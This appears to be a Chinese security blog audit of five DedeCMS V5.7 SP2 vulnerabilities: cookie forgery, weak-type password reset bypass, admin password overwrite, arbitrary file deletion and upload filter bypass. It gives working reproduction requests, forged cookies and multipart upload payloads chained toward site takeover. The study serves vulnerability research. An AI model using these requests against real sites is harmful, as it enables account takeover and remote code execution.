代码审计:DedeCMS V5.7 SP2 漏洞集合
背景
最近 DedeCMS(织梦 CMS)爆了好多 0day,趁着官方还没修复赶紧学习一波,于是把近期出现的几个漏洞整理成这篇漏洞集合,期待师傅们的指导与交流。
说明:本文审计基于 DedeCMS V5.7 UTF8 SP2(20180109)源码包,时间点为 2018 年 1 月。文中五个漏洞在后续版本中陆续被官方修复。当前(2026 年)DedeCMS 项目仍在维护,但 2021 年的商业授权风波后大量站点已迁移至其它 CMS;其代码架构中「外部变量注册 + 黑名单式过滤 + 弱类型比较」这套老派 PHP 模式仍值得作为审计教学样本,类似的链式思路在国产 CMS 中并不孤立。

整套审计可以归纳为一条主线:前台会员中心的可控入口,配合 PHP 弱类型与变量注册历史包袱,逐级击穿到后台 admin 与文件系统。下面按漏洞类型逐个拆解。
漏洞一:Cookie 伪造导致任意前台用户登录
相关环境
- 源码信息:
DedeCMS-V5.7-UTF8-SP2-20180109 - 问题文件:
uploads/member/index.php、uploads/include/memberlogin.class.php、uploads/include/helpers/cookie.helper.php - 漏洞类型:cookie 伪造导致前台任意用户登录
漏洞分析
在 member/index.php 第 125-166 行中,更新最近访客记录与站点统计的代码块,当满足 $vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',') 且 $last_vid 为空时,会令 $last_vid = $uid,然后在第 164 行用 PutCookie('last_vid', $last_vid, 3600*24, '/') 将 cookie 下发到客户端。
而 DedeCMS 在 include/common.inc.php 第 108-117 行使用外部变量注册方式进行变量声明,因此这里的 $uid 是用户可控的。
跟入 PutCookie,在 include/helpers/cookie.helper.php 第 21-29 行中,该方法在第 27 行将值与配置文件中的 $cfg_cookie_encode 拼接,然后做 MD5 截断 substr(md5($cfg_cookie_encode.$value),0,16) 下发到客户端。
而在同文件第 54-75 行的 GetCookie 方法中,第 65 行用于校验客户端 cookie 是否被伪造。要伪造 cookie,自然就想到两条路:
- 拿到
data/config.cache.inc.php里的$cfg_cookie_encode(需要任意文件读取/下载漏洞); - 直接利用用户首次登录时
PutCookie下发 cookie 的方式生成 cookie——这样的 cookie 必然能通过GetCookie校验。
这里原文表述有一点需要纠正:
$cfg_cookie_encode存放在data/config.cache.inc.php,而非data/safe/inc_safe_config.php,部分转载文章将其混为一谈。
跟入登录位置的代码块,在 include/memberlogin.class.php 中输入合规的 loginuser 和 loginpwd 便会执行 PutLoginInfo。该方法的代码块在第 517-540 行,第 531-539 行使用了 PutCookie 下发 cookie,因此存在 cookie 伪造漏洞。
跟入检测登录状态的代码,同文件第 160-241 行中第 170 行检测 cookie 中的 DedeUserID 参数值,合规后第 185 行将其传入数据库查询,结果展示在页面上。
漏洞复现
情况一:由于 mid 在数据库中是 int,要伪造 cookie 需要注册一个用户名等于目标越权用户 mid 数值的账号(admin 默认 mid=1)。比如注册用户名 0001,对应 dede_member 表中 mid=1 即 admin。
然后访问如下请求获取伪造的 cookie:
GET http://127.0.0.1/member/index.php?uid=0001
接着使用 0001 账号登录,拿到登录后未修改的 cookie,将 last_vid 的值赋给 DedeUserID、last_vid__ckMd5 的值赋给 DedeUserID__ckMd5,刷新页面即可登录到 admin。

情况二:在 memberlogin.class.php 第 170 行中,先进行 cookie 校验,再使用 GetNum 进行非数字和点的数据替换,然后转成 int 型拼接进入 SQL 语句。而 member/index.php 第 124 行在 uid 不为空时会 require_once(DEDEMEMBER.'/inc/config_space.php'),跟入 config_space.php 第 29 行使用 GetUserSpaceInfos,该方法在第 131 行使用 LIKE 方式获取用户数据。
因此可以注册类似 bala1bala 的用户名(实际环境中只要包含目标 mid 数字的即可),然后在 uid 位置使用 %1% 让 GetUserSpaceInfos 正常获取数据,使代码进入 PutCookie 生成伪造 cookie。然后替换 cookie:
DedeUserID=%1%;
DedeUserID__ckMd5=8983265c65c8d1ca;
GetNum(GetCookie("DedeUserID")) 后转成 int 型 1,再进行 SQL 拼接,便可以登录到 admin。

漏洞二:任意修改前台用户密码
相关环境
- 问题文件:
uploads/member/resetpassword.php、uploads/member/inc/inc_pwd_functions.php - 漏洞类型:任意用户密码修改
漏洞分析
在 member/resetpassword.php 第 95-96 行中,$row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer 是问题的关键。默认 $row['safequestion'] 在数据库中为 0,$row['safeanswer'] 为空,而 $safeanswer 与 $safequestion 是用户可控制的变量,又使用了 == 进行判断,因此存在弱类型问题。
而在 if(empty($safequestion)) $safequestion = ''; 语句中,要使 empty($safequestion) 为 false 且 $row['safequestion'] == $safequestion 为 true,可以使用字符型的 0.0 进行绕过。
绕过后进入 sn 方法,跟入 member/inc/inc_pwd_functions.php 第 150-172 行发现代码块,该方法会调用 newmail。跟入 newmail,同文件第 73-123 行的代码块中,当传入的 $send 为 N 时便会下发重置密码的链接,进行密码修改操作。
漏洞复现
先进行如下请求获取 key:
GET http://127.0.0.1/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1
然后点击跳转链接便可以重置密码:
GET http://127.0.0.1/member/resetpassword.php?dopost=getpasswd&id=1&key=UXqCX4lO
漏洞三:任意重置后台用户密码
相关环境
- 问题文件:
uploads/member/edit_baseinfo.php - 漏洞类型:任意重置后台用户密码
漏洞分析
在 member/edit_baseinfo.php 第 118-123 行中,当使用 admin 用户登录前台进行密码修改时,会顺带将 admin 的后台密码也一并修改。这其实是 DedeCMS 前后台账号体系共享同一张用户表的设计副作用——前台改密接口没有区分「前台密码」与「后台密码」字段。
漏洞复现
先利用漏洞二重置 admin 的前台密码为 admin123,再利用漏洞一 cookie 伪造使用 admin 用户登录前台,访问如下页面进行密码修改:
GET http://127.0.0.1/member/edit_baseinfo.php
填入旧密码 admin123、新密码 123456 与邮箱提交,修改后访问后台即可直接使用 123456 登录。这条链把漏洞一与漏洞二串起来——前台越权 + 改密顺带覆盖后台,最终完成后台 admin 接管。

漏洞四:前台任意文件删除
相关环境
- 问题文件:
uploads/member/album_add.php、uploads/member/archives_do.php、uploads/member/inc/inc_batchup.php - 漏洞类型:任意文件删除
漏洞分析
问题在 member/album_add.php 第 88-103 行的代码。第 88 行包含了 /inc/archives_check.php 对 $litpic 变量进行初始化。然后在第 100 行使用 $litpic = $litpicname; 再次对 $litpic 变量赋值,而 $litpicname 之前未被初始化,所以可以用变量覆盖的方式进行赋值。
第 94 行要求 $formhtml==1 才能进入 $litpic = $litpicname,但 $formhtml 在为空时会被赋值(同样是变量注册的历史包袱),所以可以通过变量覆盖使其不为空,从而进入漏洞分支。
在 member/archives_do.php 第 161-162 行中,当 $row['issystem']!=-1 时使用 DelArc 方法删除文档,$row['issystem']==-1 时使用 DelArcSg。默认情况下 issystem 为 1,因此可直接跟入 DelArc,在 member/inc/inc_batchup.php 第 20-129 行的代码块中,第 72-76 行从数据库中取出 litpic 列的值,然后 $litpic = DEDEROOT.$licp['litpic']; 路径拼接,仅做了文件是否存在的判断,并未判断文件类型,就执行删除操作,因此存在任意文件删除漏洞。
漏洞复现
先在「会员中心 → 内容中心 → 系统模型内容 → 图集」构造如下请求,添加 formhtml=1、litpicname=/1.txt(以网站根目录为基本目录):
POST /member/album_add.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=---------------------------223472707522220
Cookie: PHPSESSID=kublnhoscak1n73fseggmmmb33; DedeUserID=8; DedeUserID__ckMd5=03ad72531b31e585;
-----------------------------223472707522220
Content-Disposition: form-data; name="dopost"
save
-----------------------------223472707522220
Content-Disposition: form-data; name="channelid"
2
-----------------------------223472707522220
Content-Disposition: form-data; name="title"
1
-----------------------------223472707522220
Content-Disposition: form-data; name="litpic"; filename="1.png"
Content-Type: image/png
PNG
-----------------------------223472707522220
Content-Disposition: form-data; name="formhtml"
1
-----------------------------223472707522220
Content-Disposition: form-data; name="litpicname"
/1.txt
-----------------------------223472707522220--
然后在「图集」中找到刚才发布的文章进行删除操作,执行结束后便会删除前面定义好的 litpicname 文件:
GET /member/index.php?dopost=save HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=kublnhoscak1n73fseggmmmb33; DedeUserID=8; DedeUserID__ckMd5=03ad72531b31e585;

漏洞五:后台任意文件上传
相关环境
- 问题文件:
uploads/include/dialog/select_images_post.php - 漏洞类型:后台任意文件上传
漏洞分析
在 include/dialog/select_images_post.php 第 33-40 行中,第 34 行将文件名中正则匹配到的内容替换为空白,第 36 行检索文件名中是否存在白名单中的文件格式——但这两种做法都不是取文件后缀名来判断的,所以存在被绕过的问题。
而在同文件第 55-62 行中,取文件的后缀名进行拼接和上传操作,存在「检测方式与上传文件生成方式不一致」的问题,导致被绕过。
跟入 $cfg_imgtype,在 data/config.cache.inc.php 第 18 行发现上传类型格式限制。但是可以使用 xxx.jpg.p%php 或 xxx.jpg.p*hp 等方式绕过,图片的格式满足 config.cache.inc.php 中的规定即可。
漏洞复现
该漏洞需要开启会员功能,然后可以在会员中心的编辑器中绕过上传限制:
POST /include/dialog/select_images_post.php?CKEditor=body&CKEditorFuncNum=2&langCode=zh-cn HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=---------------------------2029356716975
Cookie: PHPSESSID=b602af1f688b3422d78ac6e9b0adcec3; DedeUserID=8;
-----------------------------2029356716975
Content-Disposition: form-data; name="upload"; filename="1.png.p*hp"
Content-Type: image/png
PNG
-----------------------------2029356716975--

写在最后
回头看这五个漏洞,并不是孤立的点,而是一条由「PHP 弱类型 + 变量注册 + 黑名单过滤」这套老派代码风格串起来的链:cookie 伪造拿到前台 admin → 弱类型绕过安全问答题重置前台密码 → 前台改密顺带覆盖后台密码 → 后台接管后任意文件上传 GetShell,中间还能用变量覆盖触发任意文件删除做兜底。每一步单看都不算高危,但首尾相接就能从匿名访客打到 RCE。
DedeCMS 这套代码反映了 2010 年前后国内 PHP 项目的普遍特征:register_globals 的残留思维、== 的滥用、黑名单式后缀过滤、检测与落地逻辑分离。即便官方在后续版本逐个打补丁,这类「补丁-绕过-再补丁」的拉锯节奏仍会持续——只要架构层的代码风格不变,新的同类漏洞总会再冒出来。审计这类老 CMS 时,比起逐条记 payload,更值得记的是这套「找未初始化变量 → 找弱类型比较 → 找检测/落地不一致」的扫描思路,迁移到其它国产 CMS 上同样好用。
当然,本文的复现仅基于 2018 年的源码包做审计学习,对应站点早已升级修复。生产环境若仍停留在该版本,建议立即升级到 DedeCMS 当前受维护版本,或评估迁移到受维护的 CMS——继续打补丁的边际成本已经越来越高。大家也多注意安全。